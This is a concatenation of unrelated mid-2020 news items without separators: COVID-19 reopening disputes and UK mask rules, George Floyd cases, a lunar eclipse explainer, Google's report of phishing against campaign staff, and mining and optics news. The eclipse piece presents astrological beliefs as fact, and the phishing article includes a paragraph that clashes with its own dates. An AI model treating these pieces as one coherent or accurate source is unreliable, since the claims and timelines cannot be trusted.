- When coughing or sneezing, it is important to keep a cloth over your mouth.

- Spitting anywhere is strictly forbidden.

-A man can only stand with one step on the escalator.

- Those who visit malls, hotels and religious places should have Aarogya Setu App in their phone.

- To ensure the queue of people, a circle should be formed.
In front of a crowd of Pennsylvanians standing outside his Palmyra restaurant, Mike Mangano declared on Friday that Taste of Sicily will be staying open  despite its license being suspended for violating the terms of the states reopening process.

The Italian restaurants owners have gained notoriety around central Pennsylvania for their refusal to adhere to a state order that says business owners cannot offer dine-in services if theyre based in counties at the yellow stage of coronavirus mitigation.

Taste of Sicily was slapped with a temporary suspension notice on Wednesday, three weeks after reopening its dining room to the public.

Im kinda ticked off about it. We were just at a point where we have to open up, we gotta go to work, we gotta make a living. The bills never stop, Mangano said. We just want to go to work and do what we do.

Mangano said at first he was hesitant to open, but changed his mind when the bills kept piling up.

We dont care what the repercussions may be. We want the world to see how ridiculous it is for being penalized to go to work, he said. Nobodys asking business owners to take up arms or go to war. Open your doors already.

As of Friday, all Pennsylvania counties are now in the yellow phase, in which outdoor dining can be offered or the green phase. In the latter phase, indoor dining can be offered, but restaurants can operate at just 50% of their normal occupancy.

Taste of Sicilys owners said theyve taken a number of precautions to protect customers who choose to sit in the dining room. They installed plexiglas, and take care to social distance and sanitize surfaces, Mangano argued.

Mangano was joined at the protest alongside a number of state and local government officials, including Rep. Russ Diamond (R-Lebanon), an outspoken critic of the Wolf administration throughout the reopening process.

Let me tell you what Im doing as an individual  Im not wearing a mask! Diamond said while addressing Taste of Sicilys supporters, many of whom were also not wearing masks.

Diamond said he has no qualms about shaking hands, hugging or gathering with a group of people as big or as small as he pleases.

He doesnt think anyone else should be worried about it, either.

Taste of Sicily is the first domino, Diamond said. Go, open your business! Go enjoy your life!

On Friday, a temporary suspension notice was also issued for Fays Country Kitchen in Carlisle. Theyve been offering sit-down meals since May 22, and plan to continue despite the suspension.

Supporters outside Taste of Sicily ignored social distancing guidelines and were vocal with their animosity toward Wolf and his administration. At one point, the crowd chastised a woman who said they should be following health precautions.

Sen. Doug Mastriano also laid blame on the shoulders of the state health inspectors who gave Taste of Sicily the suspension notice.

Im sick of these thugs coming down here and bullying my people, he said.

Jamie Gebhart drove to the protest from the Gettysburg area with her husband and two young children. She said she grew up with small business owners and understands how difficult it can be.

Pennsylvania has been shut down long enough, she said. I can drive 45 minutes and sit down at a restaurant, but not in my own state. Its sad.

READ MORE:

Why did Pa. Gov. Tom Wolf join a protest with thousands of people, breaking the rules in a yellow-phase county?

Buffalo police shove elderly man to ground, injuring him; claim he tripped (graphic video)

Trying to buy a new bike? Gear up for a long wait, thanks to national shortage


LONDON (dpa-AFX) - Copper producer KAZ Minerals Plc (KAZ.L) announced Friday that activity for the Baimskaya Project is expected to resume in due course.



Further, the Bankable Feasibility Study or BFS is now expected to be completed by the end of 2020 due to the additional time required to finalise the infrastructure plan for the Project, including Covid-19 related delays.



Progress on the BFS has been impacted by Covid-19 related issues with teams in Moscow and Vancouver required to work from home and restrictions on both domestic and international travel.



In its report on the updated parameters for the Baimskaya Project, based on feasibility study work completed to date, the company noted that work at the Baimskaya site in the second quarter has been limited due to measures taken to control the spread of the Covid-19 virus in the region.



Prior to the disruption, equipment and materials were delivered to the site for the pioneer works scheduled to take place during the year.



The company said its capital expenditure guidance of $150 million for 2020 remains in place.



KAZ Minerals and the Russian government are continuing to work together on the details of the power and transport infrastructure required for the operational phase of the project including potential take or pay agreements.



The timetable for construction remains around seven years. The company will release further details on the project upon completion of the BFS.



Oleg Novachuk, Chair, said, 'We are working to develop our execution strategy for the delivery of the Baimskaya copper project, one of the world's largest undeveloped copper assets. Study work and drilling completed so far at Baimskaya indicates that a larger project will unlock the potential of the world class Peschanka deposit.'



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By Ayya Lmahamad

Six Azerbaijani citizens stranded in the Russian-Azerbaijan border have tested positive for COVID-19, the Central City Hospital in Dagestans Derbent city has reported.

According to the information, a total of 13 people were hospitalized, 1 of them with a positive COVID-19 result was sent to the main hospital for COVID-19 infected people, and 12 people to the provision hospital. After receiving a second stage testing results 5 more citizens of Azerbaijan confirmed positive COVID-19 results and were transferred to the main hospital.

According to the head doctor, currently all the necessary treatment is being done in order to cure the infected, and make them return home with negative results of tests for COVID-19.

Earlier, it was reported that 11 Azerbaijani citizens, who are in Dagestan and are waiting for permission to travel to their homeland, tested positive for COVID-19.

Some 375 out of 764 Azerbaijani citizens in Dagestan, have been already repatriated to Azerbaijan.

The problem related to citizens of Azerbaijan was raised during the discussion of the epidemiological situation in Dagestan with Russian President Vladimir Putin. This was followed by a telephone conversation between the presidents of Russia and Azerbaijan on May 18, who agreed on a step-by-step passage of citizens across the border.

Temporary accommodation centers were set up in Dagestans Magaramkent region bordering Azerbaijan on May 16, for the Azerbaijani citizens who couldnt return home.

--

Follow us on Twitter @AzerNewsAz
Marking the start of the wild strawberry season, Asia, Europe, Africa, Australia, and South America will be playing host to the second penumbral lunar eclipse of 2020. Between 11.15 PM to 2.43 AM IST on June 5 (tonight), people can witness the celestial event during which the Sun, Earth and Moon will be imperfectly aligned causing the Earth to cast its shadow on the surface of the moon and effectively blocking some of the Suns rays. This type of eclipse is called a Total Penumbral Eclipse. During this type of eclipse, the moon is only overshadowed by the outer region of the Earth  the penumbra, which does not shroud the moon completely in darkness.

ALSO READ: Is Lunar Eclipse harmful? What are the adverse effects of Lunar Eclipse?

Considering the celestial nature of this occurrence, we often witness the rise of superstition and myths surrounding the Chandra Grahan or lunar eclipse, but not all of them can be termed scientific. The first documentation of an eclipse goes back to the 1400/1700 BC in Hindu literature. The Lunar eclipse is caused by the southern node of the moon Ketu. The auspiciousness that is often coupled with a lunar eclipse comes from the study of planetary influence over human life. Though scientific backing is lacking in this instance, here are some suggestions that you can follow if so inclined:

 Pregnant women are considered more susceptible to the negative influence of the eclipse and should not expose themselves to it.

 Fasting and bathing before and after the eclipse is suggested.

 The lunar eclipse can be viewed with the naked eye without any damage.

 The eclipse is considered a good time to wash away sins, as all water becomes holy during the period.

It is a common belief that eclipses affect the health of pregnant women and that of the child in the womb. Lunar eclipses are referred to as bad omens by many cultures, including many Indian ones. The superstition remains deeply rooted even today although most of these conceptions are not backed by science. Here are some misconceptions that can do more harm than good:

 Do not eat during the eclipse: While there is no evidence to prove that food goes bad during the time of the eclipse, in the case of a pregnant woman, not eating or drinking for an extended period can cause low blood sugar which can harm both mother and baby.

 Covering all the windows: This makes sense during a solar eclipse as the UV rays can harm the eyes and even result in blindness, but this is not the case for a Lunar eclipse. You can look directly at the eclipse without any repercussions.

 Do not go outside or do anything: Pregnant women are advised to rest for 4 to 5 hours every day but there is nothing that proves going outside during the eclipse will cause any harm.

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WASHINGTON  Former White House chief of staff John Kelly said Friday that he did not agree with President Donald Trump's threat to deploy active-duty U.S. military as the nation braced for another week of planned protests over the death of George Floyd.

"The troops hate it, they don't see it as their job, they don't want to be used in that way," Kelly told Anthony Scaramucci, former White House communications director, during a livestreamed interview. "Now, natural disasters are a different story, hurricanes, earthquakes, we lean forward in the U.S. military to help," he added, saying that the civil unrest in the United States are "domestic issues."

Kelly, who also served as the secretary of Homeland Security in the Trump administration, reiterated the importance of preserving the Department of Defense's apolitical nature.

"We have always attempted to be apolitical," explained Kelly, a retired four-star Marine Corps general. "And we think that's important because the U.S. military serves the nation, all of its people, not a party, not a political persuasion, not an individual."

Kelly's comments come as Secretary of Defense Mark Esper faces scrutiny for referring to American cities as a "battle space" and for participating in a widely criticized photo in front of a historic church.

"I think we need to look harder at who we elect and I think we should start, all of us, regardless of what our views are of politics, I think we should look at people running for office and put them through the filter, what is their character like, what are their ethics and if elected, are they willing to represent all of their constituents and not just their base," Kelly said.

On Friday D.C. Mayor Muriel Bowser asked for the withdrawal of "all extraordinary federal law enforcement and military presence" from the city as protests over Floyd's death continued.

"The deployment of federal law enforcement personnel and equipment are inflaming demonstrators and adding to the grievances of those who, by and large, are peacefully protesting for change and reforms to the racist and broken systems that are killing Black Americans," Bowser said in a letter to Trump.

Bowser also authorized the painting of the message "Black Lives Matter" in giant yellow letters down 16th Street in Washington, the site of many demonstrations.
A judge has set bail at $750,000 each for the three other Minneapolis ex-officers charged with aiding and abetting in the killing of George Floyd.



The officers, Tou Thao, Thomas Lane, and J. Alexander Kueng made their first appearances in Hennepin County District Court as friends, relatives, and celebrities gathered for George Floyd memorial service in Minneapolis.



The Minneapolis Police Department fired them last week, along with Derek Chauvin, who is charged with second-degree murder and second-degree manslaughter in Floyds May 25 death.

The white police officer was filmed in a viral video pinning down Floyd and pressing his knee into his neck, ignoring the African American mans pleas that he cant breathe, until he stopped moving.



Attorney Earl Gray, representing Lane argued for lower bail and told the court that Chauvin was the training officer for Lane and Kueng, who had been on the job just four and three days respectively.

What was my client supposed to do but follow what his training officer said? Is that aiding and abetting a crime? Gray asked.



Attorneys for Kueng and Thao did not address the merits of the charges in court and told reporters afterward that they declined to comment on the case for now out of respect for Floyds family on the day of his first memorial service.



Judge Paul Scoggin set their next court dates for June 29.



If convicted, Chauvin faces a maximum of 40 years in prison on the murder count and 10 years for manslaughter. Under Minnesota law, aiding and abetting second-degree murder is equivalent to a second-degree murder charge, meaning Thao, Lane, and Kueng face the same potential penalties as Chauvin if convicted.









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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A black Southwest Airlines employee had an emotional conversation with a passenger during a flight, without realising he was the CEO of American Airlines.

JacqueRae Hill, from Dallas, Texas, travelled to work emotional last Friday, in the wake of the death of George Floyd, and the ongoing protests in opposition to police brutality against African Americans.

She said it was difficult to perform her job that day, which she has been doing for 14 years, because she is meant to present as cheerful at all times.

You want to be informed, you want to know whats going on, but at the same time, my job as a service person is to provide somebody with happiness, Ms Hill told CNN.

How do I balance that? she added. Its hard to have that balance of: This is whats going on in the world and those people look like me, and this is what I have to do as my job.

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As passengers were boarding the flight, she noticed a white man carrying Robin DiAngelos book, White Fragility, and decided she would try to speak to him later.

During the flight, Ms Hill went and sat in the empty seat next to the man and asked him what he thought of the book.

He said he was half way through, but thought it was good so far, and the pair went on to chat for about 10 minutes.

In the middle of their conversation, the man told Ms Hill, that as a white person, Its our fault. We have to start these conversations.

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The flight attendant told the outlet that his comment resonated with her and she started to cry: I know he didnt know what to do. I know I startled him. I was embarrassed. I didnt expect that. It was just a genuine moment for me.

At the end of their conversation, Ms Hill, thanked him and asked what his name was. He replied: Im Doug Parker, the CEO of American.

Ms Hill was shocked, but told CNN that she was pleased to see someone in his position educating himself and willing to have a conversation about race.

I was thankful if he was a random person that had no influence. But because of his position in life, the fact that hes reading that book.

He does not have to educate himself. And the fact that he is, I just think that speaks volumes as to the work we all have to do in trying to bring ourselves together.

Ms Hills mother, Patti Anderson, who has worked for American Airlines for nearly 10 years, contacted Mr Parker and thanked him for the conversation he had with her daughter.

Mr Parker replied: (JacqueRae) certainly left an impression on me. Reading a book is one thing  spending time with a kind, strong, young black woman who is hurting and trying to learn from others is another thing altogether.

The CEO added: I was the one who was blessed by that conversation.
Google uncovered hacking attempts from China and Iran on personal email accounts of presidential campaigns staffers for Joe Biden and Donald Trump.

The announcement was made Thursday and the strike appears to be spear-phishing attacks  similar to the Russian breach of Hillary Clinton's campaign chairman in 2016.

A Google spokesperson told DailyMail.com: 'We can confirm that our Threat Analysis Group recently saw phishing attempts from a Chinese group targeting the personal email accounts of Biden campaign staff and an Iranian group targeting the personal email accounts of Trump campaign staff.'

'We didn't see evidence that these attempts were successful.'

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Google uncovered attempted hacking attempts from China and Iran on personal email accounts of presidential campaigns staffers for Joe Biden and Donald Trump. The announcement was made Thursday and the strike appear to be spear-phishing attacks

Google's chief of threat analysis, Shane Huntley, shared details of the attempted attacks on Twitter Thursday.

'Recently TAG saw China APT group targeting Biden campaign staff & Iran APT targeting Trump campaign staff with phishing. No sign of compromise,' reads the tweet.

The groups involved were found to be APT31 and APT35 -APT is an acronym for 'advanced persistent threat.'

APT35, sometimes also known as Charming Kitten or Newscaster, is Iran-backed and last year Microsoft said it had caught the group trying to target the Trump campaign.

Spokespeople for the Trump and Biden (pictured) campaigns confirmed they were aware of the current attacks and said they had been unsuccessful

The groups involved were found to be APT31 and APT35 -APT is an acronym for 'advanced persistent threat.' APT35, sometimes also known as Charming Kitten or Newscaster, is Iran-backed and last year Microsoft said it had caught the group trying to target the Trump campaign

Trump was targeted as his administration weighed a cyberattack against Iran for an attack on Saudi oil facilities last month that the White House charges Tehran with doing.

In a 30-day period between August and September, the group, dubbed 'Phosphorous' by the company, made more than 2,700 attempts to identify consumer email accounts belonging to specific customers and then attacked 241 of those accounts.

The report of the attacks showed how cyber security will be a major issue in the 2020 election.

And officials at the FBI and Department of Homeland Security have warned of the danger.

Spokespeople for the Trump and Biden campaigns confirmed to TechCrunch they were aware of the current attacks and said they had been unsuccessful.

'We have known from the beginning of our campaign that we would be subject to such attacks and we are prepared for them,' a Biden campaign spokesperson said. Biden for President takes cybersecurity seriously, we will remain vigilant against these threats, and will ensure that the campaign's assets are secured.'

China and Iran are not the only foreign actors meddling in the election, it seems Russia has come back for a second round. Vladimir Putin's (pictured) operatives want to both help Trump and create public doubts about the outcome of the election

However, China and Iran are not the only foreign actors meddling in the election, it seems Russia has come back for a second round.

In February, a senior intelligence official told lawmakers that Russia is interfering in the 2020 election to re-elect Donald Trump.

The New York Times revealed that the official was part of a briefing to the House Intelligence Committee, which is chaired by Democratic Trump enemy Adam Schiff, and told lawmakers of both parties about Russia's backing for a second Trump term.

The committee members were briefed that Russia favors Trump, CNN reported, and were also told about its efforts to hack and attack election infrastructure and the

Kremlin's continued attempts to use social media platforms in its campaign of distrust.

Vladimir Putin's operatives want to both help Trump and create public doubts about the outcome of the election, the officials briefed lawmakers during the session about 'the integrity of our upcoming elections.'
URBANA, Ill. - New Illinois ECE research is advancing the field of optical microscopy, giving the field a critical new tool to solve challenging problems across many fields of science and engineering including semiconductor wafer inspection, nanoparticle sensing, material characterization, biosensing, virus counting, and microfluidic monitoring.

The question is often asked, "Why can we not see or sense nanoscale objects under a light microscope?" The textbook answers are that their relative signals are weak, and their separation is smaller than Abbe's resolution limit.

However, the Illinois ECE research team, led by Illinois ECE Professor Lynford L Goddard, along with postdoc Jinlong Zhu, and PhD student Aditi Udupa, is challenging these cornerstone principles with a brand-new optical framework.

Their work, published in Nature Communications opens new doors to using optical microscopy to unravel difficult problems that impact our daily lives.

"Our work is significant not only because it advances scientific understanding of optical imaging but also because it enables researchers to directly visualize unlabeled objects that have deep sub-wavelength separations. We can see nanoscale structure without performing any image post-processing" said Goddard.

The team's breakthroughs began in May 2018 when Zhu and Goddard stumbled upon a remarkable result in one of their simulations. "At the time, we were conducting a theoretical study on wafer defect inspection and needed to build a simulation tool to model how light propagates through a microscope system. When we saw the simulation result for one of the configurations, we were quite confused by it," Goddard recalls. "We worked day and night for the next three months trying to understand the physics behind it. Once we developed a closed form analytic expression that explained what was going on, we could devise an experiment to test our hypotheses."

However, it would take another five months of trial and error to learn how to build and align the optical system such that the experimental configuration replicated the model assumptions. Meanwhile, Ms. Udupa fabricated suitable test samples at both the Holonyak Micro and Nanotechnology Laboratory and the Materials Research Laboratory with the assistance of Dr. Edmond Chow and Dr. Tao Shang. In January 2019, the team finally realized the necessary experimental conditions and directly visualized their first set of deep sub-wavelength objects.

"Using a standard optical microscope to visualize nanometric objects is extremely challenging not only because of the diffraction barrier, but also the weak signal," said Zhu. "Our experiment had to utilize two new and interesting physical concepts, anti-symmetric excitation and non-resonance amplification, to boost the signal-to-noise ratio of the nanoscale objects."

The team demonstrated the technique can sense both free-form and fixed-form nanoscale objects across a wide field of view (726-m  582-m) using a low numerical aperture objective (0.4 NA). Zhu explains, "We were quite lucky that some of the nanowires on our test sample shown above had fabrication imperfections. This allowed us to demonstrate the visualization of sub-20 nm defects in a semiconductor chip. In the future, one may also apply our method for the visualizable sensing of biological objects (e.g., viruses or molecule clusters) by choosing nanowires with optimized geometry and proper refractive index and patterning functional groups around nanowires. Once target analytes are trapped, they act as objects that may be directly visualized from the optical images."

###

This work was funded by Cisco Systems Inc. (Gift Awards CG 1141107 and CG 1377144), University of Illinois at Urbana-Champaign College of Engineering Strategic Research Initiative, and Zhejiang University - University of Illinois at Urbana-Champaign (ZJUI) Institute Research Program. Professor Goddard acknowledges the Center for Advanced Study at the University of Illinois for teaching release time to pursue this research. He is also affiliated with the Beckman Institute and HMNTL.
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A senior Government minister rejected calls to force shoppers to wear face coverings today - as medics demanded that strict rules forcing their use on public transport be brought in immediately.

Transport Secretary Grant Shapps, who last night revealed that commuters face 80 for not wearing them from June 15, said this morning they were not required in other settings because people spend little time in close proximity.

It came after the head of the British Medical Association, Dr Chaand Nagpaul, said the compulsory wearing of face coverings should be introduced in 'all areas' where social distancing is not possible, and should start immediately.

Only a handful of Tube users wore masks at rush hour today as Dr Nagpaul warned delaying the 80 fines will only make the spread of coronavirus worse.

Commuters again packed on to the London Underground and were forced to break social distancing rules on the Jubilee Line, which runs through the heart of the capital.

The BMA head said face covers 'should not be restricted to public transport', raising the prospect of masks also becoming compulsory in shops, restaurants and pubs.

The Government has previously said that it plans for non-essential retailers to reopen from June 15.

But Mr Shapps said High Street browsing was 'clearly not the same' as being on a bus or train for a sustained period of time.

He told the BBC: 'I think the big difference is in a shop you may well pass somebody and the guidance acknowledges you might be near somebody for a short period of time but then you are going to move on.

'On public transport you could be next to somebody for 10, 20 minutes, 30 minutes so there is a much larger chance of being close to somebody for a longer period of time plus the guidance for shops is don't let the shop become overcrowded and that is something you can control with queues outside the shops, we are all used to them now, two metre queues outside.'

The dramatic announcement came as:

The UK announced 176 more deaths, taking the total number of victims to 39,904 - as separate shock data suggests the UK's outbreak is still killing more people each day than the rest of the EU countries combined;

The cost of the government's coronavirus bailouts has been revised upwards to an eye-watering 130billion;

Business Secretary Alok Sharma has tested negative for coronavirus despite 'sniffing and sweating' through a Commons statement last night and going into self-isolation;

Boris Johnson's personal approval rating has dived by 40 points to turn negative in less than two months, according to an exclusive poll for MailOnline;

Scientists have criticised plans for 14-day quarantine on UK arrivals as pointless, despite evidence the public overwhelmingly backs the idea.

Only a handful of Tube users (pictured on the Jubilee Line this morning) wore masks at rush hour today as medical chiefs warned delaying the 80 fines for those not wearing them until June 15 will only make the spread of coronavirus worse

Transport Secretary Grant Shapps unveiled the news at the Downing Street briefing last night, saying makeshift masks can play a part in reducing the spread

Dr Nagpaul said the risk of the virus would be 'much less' if the public wears face coverings straight away instead of waiting for the mid-June start date.

He said: 'The BMA recently advocated the wearing of face coverings by the public several weeks ago in areas where they cannot socially distance and believes it is right that people should be required to wear face coverings on public transport.

'Given there remains a considerable risk of infection, with thousands of new cases every day, wearing masks can reduce the spread of the virus.

'Not only will this afford greater protection to the public, importantly it will protect the lives of the staff working on public transport who, as evidence suggests, are at greater risk of infection.

'These important measures should not be restricted to public transport but to all areas where social distancing is not always possible - the risk will be much less if the public adopts this now - not mid-June.'

Dr Nagpaul went on to say that the Government should ensure a supply of face coverings for the public as well as providing advice on how to wear them correctly.

Yesterday, the Transport Secretary unveiled the new rules for train, bus and Tube travel as he told the Downing Street briefing that makeshift masks can reduce the spread - following weeks of accusations that ministers were dragging their heels on the issue.

Mr Shapps said the 'challenges' for the network were 'increasing' as more people go back to work and schools and shops reopen. 'We are doing what many other countries have asked transport users to do,' he said. 'The evidence is that wearing face coverings offers some, albeit limited protection.'

Mr Shapps said while the rules would be mandatory and 'ultimately' people could be fined, he did not believe they would need much enforcement. 'Wearing a face covering helps protect others,' he said. 'Why wouldn't people want to do the right thing? We are all desperate to get rid of coronavirus.'

He stressed that people should still only use public transport if they have to, urging them to drive, walk or cycle instead where possible.

Unions welcomed the move, saying it would give workers and travellers more confidence amid desperate efforts to get the economy back on its feet. More than 40 transport workers in London have died from coronavirus so far.

London Mayor Sadiq Khan immediately claimed credit, saying his 'lobbying had paid off' and the government had 'finally seen sense'. Nicola Sturgeon declared earlier she is considering taking the same step in Scotland.

Experts have been split on whether face coverings have a major impact, but SAGE concluded recently that they can be useful to stop people spreading the disease.

There have been concerns that the public could start rushing to buy clinical standard masks and leave the health service short of supplies.

Today, Professor Anthony Costello, a former director at the World Health Organisation, said the evidence wearing masks prevented transmission of coronavirus was 'not very strong' but said he would choose to wear one when using public transport.

The professor of global health at University College London told BBC Radio 4's Today programme recent studies indicated masks reduced the risk of transmission by about 14 per cent and were most effective when using a stronger mask material.

Asked why scientists had been slow to recommend wearing masks, Prof Costello said: 'The problem is that the evidence is not very strong, in terms of randomised trials.

'Of course we must still wash our hands and use them sensibly and, if you use a face covering, you should wash it carefully, things like that. People obviously won't comply with it perfectly but I think it makes sense. If I'm travelling on a bus or a tube, I'd want to have a face covering.'

Commuters again packed on to the London Underground and were forced to break social distancing rules on the Jubilee Line, which runs through the heart of the capital (pictured today)

Travellers were forced to break social distancing rules, with many not wearing face coverings, as they cramped on to the Tube at rush hour this morning

Some commuters wear face masks as they pack onto a Jubilee line train at Canning Town station in East London this morning

Some passengers wear face masks on a Jubilee line service on the London Underground this morning

The government provided its latest slides on the status of the coronavirus outbreak

Mr Khan has said he decided not to ask all Transport for London (TFL) users to wear face coverings before it became Government policy to ensure 'message clarity'.

The new rules come into force on June 15, but Mr Khan said he had been lobbying the Government to implement the face covering rule for the last two months.

How the government's line on face coverings has changed over the months March 12: Deputy chief medical officer Dr Jenny Harries: 'For the average member of the public walking down a street, it is not a good idea in fact, you can actually trap the virus in the mask and start breathing it in.' April 16: Chief medical officer Professor Chris Whitty said: 'The evidence is weak, but the evidence of a small effect is there under certain circumstances.' April 23: Dr Jenny Harries said there could be 'a very, very small potential beneficial effect in some enclosed environments'. April 24: Health Secretary Matt Hancock said: 'On masks, as more information comes through, the science is constantly evolving and we always bear in mind that science and then take the decision. As of today, the government position is unchanged.' April 30: Boris Johnson said: 'I do think that face coverings will be useful, both for epidemiological reasons, but also for giving people confidence that they can go back to work.' June 4: Transport Secretary Grant Shapps announced that face coverings will be mandatory on public transport from June 15 'With more people using transport the evidence suggests wearing face coverings offers some - albeit limited - protection against the spread for the virus.' Advertisement

Speaking on BBC Breakfast, he said: 'My concern about going it alone is that it is really important when you've got a crisis that we have message clarity and we have a national consensus.'

He continued: 'My concern, and I would go so far as to say my anger, is the delay it has taken because this could mean more people having caught the virus in the community because there are some times when you simply can't keep your social distance and this delay appears to be good for nobody.'

Mick Whelan, general secretary of Aslef, said: 'This is a sensible step by the Secretary of State for Transport. We have been working closely with the government to ensure that agreed increases in services on Britain's train, and Tube, network is done in a safe and controlled manner - to help spread the loading, and maintain social distancing - for the safety of passengers and staff.

'The instruction to wear face coverings to help prevent the spread of the coronavirus will ease the concerns of people travelling, and working, on the transport network.'

Britons appeared to be coming out of the woodwork at the start of this week following more than two months in lockdown as travel data shows footfall in the biggest cities had increased.

London, Manchester and Liverpool all saw spikes in people out and about on Tuesday, which saw temperatures rocket to 84F (28C), and popular seaside resorts, such as Brighton, also saw a surge as visitors lounged on the sand.

But as the weather turned from Wednesday and rain swept in fewer people took to the roads, congestion data from TomTom showed.

Mick Cash, general secretary of the RMT union, complained Mr Shapps's announcement had been forced by the 'premature easing of lockdown'.

'The RMT has been campaigning for compulsory wearing of masks on public transport and this is long overdue, but we fear this announcement is being driven not by safety concerns but by the premature easing of the lockdown which is swelling passenger numbers and making social distancing on transport increasingly impossible,' he said.

Mr Khan said this evening: 'I'm pleased that our lobbying has paid off and the Government has finally seen sense and made it mandatory for people to wear face coverings on public transport.

'This is something I and others have been calling on ministers to do for some time, and is in line with a large body of evidence that they can help stop the spread of coronavirus.'

Mr Khan also warned that even with masks he would not be able to ramp up services - a major bone of contention with ministers.

'TfL continues to work hard to maximise services despite staff being ill, shielding or self-isolating.

'The reality is that due to social distancing the effective capacity of public transport services has been dramatically reduced.

'We can only carry between 13 per cent - 15 per cent of passengers.

'We all must play our part by working from home if we can and making journeys on foot or by bike if at all possible in order to keep the service safe for those who really need it.'

Ms Sturgeon told a press briefing this afternoon that mandatory masks was 'under consideration' in Scotland.

Train worker Bernard Kasparas, from Surrey, said he was wearing a face mask and urged passengers to do the same

'I said when I announced the policy some weeks back that we would keep this under review, so we haven't reached a final decision on this.

'But I think it is fair to say that it is something we are considering and I think that is inevitable.

'I understand why some people may not want to wear face coverings, it's not the most comfortable thing to do.'

Ms Sturgeon said there was 'some evidence' that wearing a face covering in enclosed spaces, where physical distancing is more difficult, can protect other people if the wearer is infected.

'I really want to strongly encourage people if you haven't already been doing it, or if you have started to do it and found it uncomfortable and haven't continued, please consider this very carefully.

'We want to ensure we are doing everything we can to reduce the risks of transmission.'

Mr Shapps told the No10 briefing last night that the new rules will take effect from Monday June 15.

'That doesn't mean surgical masks, which we must keep for clinical settings. It means the kind of face covering, you can easily make at home. There will be exemptions to these rules for very young children, for disabled people and those with breathing difficulties,' he said.

He said 'we need to ensure every precaution is taken on buses, trains, aircraft, and on ferries'.

'With more people using transport the evidence suggests wearing face coverings offers some - albeit limited - protection against the spread for the virus.'

Mr Shapps said staff who come into contact with passengers will also have to wear face coverings.

'Of course frontline staff, those in contact with passengers, doing such an important job at this crucial time will also need to wear face coverings,' he said.

Scientists concluded face coverings helped reduce spread weeks before guidance changed Scientists concluded there was enough evidence to recommend the use of face coverings weeks before ministers issued the advice. Experts said on April 21 that the public should be advised to wear coverings when social distancing is not possible, but ministers in England did not issue the advice until May 11. The SAGE panel, including chief scientific adviser Sir Patrick Vallance and chief medical officer for England, Professor Chris Whitty, discussed masks on April 21. 'SAGE advises that, on balance, there is enough evidence to support recommendation of community use of cloth face masks, for short periods in enclosed spaces, where social distancing is not possible,' they concluded. Despite Scotland and Northern Ireland issuing the advice to wear coverings, ministers in England did not give the guidance until publishing the 'plan to rebuild' nearly three weeks later. 'As more people return to work, there will be more movement outside people's immediate household,' they said. 'This increased mobility means the Government is now advising that people should aim to wear a face-covering in enclosed spaces where social distancing is not always possible, and they come into contact with others that they do not normally meet, for example on public transport or in some shops.' Advertisement

'In the coming days the Government will work with the unions, who've been supportive, for which I'm very grateful, transport operators and the police to ensure that they've the supplies they need to be safe and to provide reassurance to the public.

'These measures apply in England but we're working with the devolved administrations ahead of implementation.'

Mr Shapps told the press conference the changes would be made under the National Rail conditions of travel and public service vehicle regulations for buses.

'This will mean that you can be refused travel if you don't comply and you could be fined.

'Alongside transport operators, this will be enforced by the British Transport Police if necessary, but I expect the vast majority of people won't need to be forced into this, because wearing a face covering helps protect others.'

Research on how well various types of masks and face coverings varies but, recently, and in light of the pandemic of COVID-19, experts are increasingly leaning toward the notion that something is better than nothing.

A University of Oxford study published on March 30 concluded that surgical masks are just as effective at preventing respiratory infections as N95 masks for doctors, nurses and other health care workers.

It's too early for there to be reliable data on how well they prevent infection with COVID-19, but the study found the thinner, cheaper masks do work in flu outbreaks.

The difference between surgical or face masks and N95 masks lies in the size of particles that can - and more importantly, can't - get though the materials.

N95 respirators are made of thick, tightly woven and molded material that fits tightly over the face and can stop 95 percent of all airborne particles, while surgical masks are thinner, fit more loosely, and more porous.

This makes surgical masks much more comfortable to breathe and work in, but less effective at stopping small particles from entering your mouth and nose.

Droplets of saliva and mucous from coughs and sneezes are very small, and viral particles themselves are particularly tiny - in fact, they're about 20-times smaller than bacteria.

For this reason, a JAMA study published this month still contended that people without symptoms should not wear surgical masks, because there is not proof the gear will protect them from infection - although they may keep people who are coughing and sneezing from infecting others.

But the Oxford analysis of past studies- which has not yet been peer reviewed - found that surgical masks were worth wearing and didn't provide statistically less protection than N95 for health care workers around flu patients.

However, any face mask is only as good as other health and hygiene practices. Experts universally agree that there's simply no replacement for thorough, frequent hand-washing for preventing disease transmission.

LONDON: Traffic in the capital surged as people flocked to parks and tourist spots to soak up the heat, but was dialled back as the mercury plummeted from Wednesday

MANCHESTER: Traffic congestion levels remained fairly consistent in Manchester despite the heat earlier this week

LIVERPOOL: Congestion in the North West city was up at the start of the week as the sun came out, but trailed off towards the end as rain drifted in

BRIGHTON: With May and the first few days of June being scorching hot, seaside resorts such as Brighton (pictured) saw a huge increase in congestion as people flocked to the beaches

The weather turned from Wednesday and rain swept in fewer people took to the roads, congestion data from TomTom showed. Pictured: A vendor getting soaked in Liverpool this morning

Last night officials released a Blue Peter-style guide on how to make one from an old T-shirt

How to make your own coronavirus face mask: Online DIY tutorials detail method for vacuum cleaner bag or T-shirt to create protection that leading scientists say is effective against bug

The worldwide coronavirus pandemic has led to a shortage of protective face masks, leading to a deluge of online tutorials ion how to make your own using a t-shirt or pillowcase.

Homemade masks offer significantly less protection than the N95 medical masks, which are made of a thick, tightly woven material that fits over the face and can stop 95 per cent of all airborne particles.

Public Health England still does not recommend Britons wear face masks, unless in a medical setting.

But there are good reasons to think DIY masks could be effective in tackling the pandemic, as they have been widely used in Hong Kong,Mongolia and South Korea -countries that largely have the disease under control.

The World Health Organisation also currently does not recommend that people without the illness wear face masks, but it could be about to reverse its decision due to evidence from Hong Kong that they may be effective in fighting the virus.

And in a further sign that attitudes about masks are changing, LA's mayor, Eric Garcetti, yesterday told all four million of the city's residents that they must wear face masks at all times to slow the spread of the deadly pandemic.

MailOnline has investigated how you can make your own face mask using everyday household items such as a t-shirt, kitchen towel or vacuum bags.

How to make a face mask from a t-shirt

A YouTube tutorial by Runa Ray shows how to make a face mask without any need for sewing, using just a plain t-shirt.

First of all you need scissors, pencil and a ruler, and a t-shirt you don't mind being used to make a face mask.

Cut out a 16' by 4' rectangle from the middle of the t-shirt, then fold it in half, and measure four inches on either side.

Then mark the t-shirt with an even number of tassels on each side and use scissors to cut them.

Turn the t-shirt inside out and separate the corner tassels, but tie the remaining ones in-between.

